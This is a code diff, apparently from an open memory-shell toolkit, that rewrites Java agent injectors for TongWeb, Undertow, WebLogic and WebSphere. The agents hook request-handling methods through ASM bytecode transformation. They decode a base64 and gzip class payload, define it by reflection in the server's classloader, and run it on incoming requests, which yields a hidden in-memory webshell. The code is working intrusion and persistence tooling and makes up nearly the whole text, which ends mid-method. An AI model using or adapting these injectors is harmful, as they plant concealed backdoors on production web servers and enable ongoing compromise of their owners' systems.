private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public TongWebFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
@@ -0,0 +1,225 @@
package com.reajason.javaweb.memshell.injector.undertow;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class UndertowServletHandlerAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new UndertowServletHandlerAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,63 +0,0 @@
package com.reajason.javaweb.memshell.injector.undertow;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("io.undertow.servlet.handlers.ServletInitialHandler"))
.transform(new UndertowServletInitialHandlerAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.undertow;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public UndertowServletInitialHandlerAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
}
}
@@ -1,39 +1,30 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/1/3
* @since 2025/3/26
*/
public class WebLogicServletContextAgentInjector implements AgentBuilder.Transformer {
public class WebLogicServletContextAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
private static final String TARGET_METHOD_NAME = "securedExecute";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("securedExecute")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,20 +35,241 @@ public class WebLogicServletContextAgentInjector implements AgentBuilder.Transfo
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("weblogic.servlet.internal.WebAppServletContext"))
.transform(new WebLogicServletContextAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
inst.addTransformer(new WebLogicServletContextAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
Type argumentType = argumentTypes[i];
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
boxPrimitive(mv, argumentType);
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
private void boxPrimitive(MethodVisitor mv, Type type) {
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
return; // Already an object
}
String owner;
String descriptor;
switch (type.getSort()) {
case Type.BOOLEAN:
owner = "java/lang/Boolean";
descriptor = "(Z)Ljava/lang/Boolean;";
break;
case Type.CHAR:
owner = "java/lang/Character";
descriptor = "(C)Ljava/lang/Character;";
break;
case Type.BYTE:
owner = "java/lang/Byte";
descriptor = "(B)Ljava/lang/Byte;";
break;
case Type.SHORT:
owner = "java/lang/Short";
descriptor = "(S)Ljava/lang/Short;";
break;
case Type.INT:
owner = "java/lang/Integer";
descriptor = "(I)Ljava/lang/Integer;";
break;
case Type.FLOAT:
owner = "java/lang/Float";
descriptor = "(F)Ljava/lang/Float;";
break;
case Type.LONG:
owner = "java/lang/Long";
descriptor = "(J)Ljava/lang/Long;";
break;
case Type.DOUBLE:
owner = "java/lang/Double";
descriptor = "(D)Ljava/lang/Double;";
break;
default:
// Should not happen for primitive types
return;
}
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
private static final String TARGET_METHOD_NAME = "securedExecute";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public WebLogicServletContextAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
}
}
@@ -1,39 +1,31 @@
package com.reajason.javaweb.memshell.injector.websphere;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer {
public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,20 +36,191 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
.transform(new WebSphereFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
inst.addTransformer(new WebSphereFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
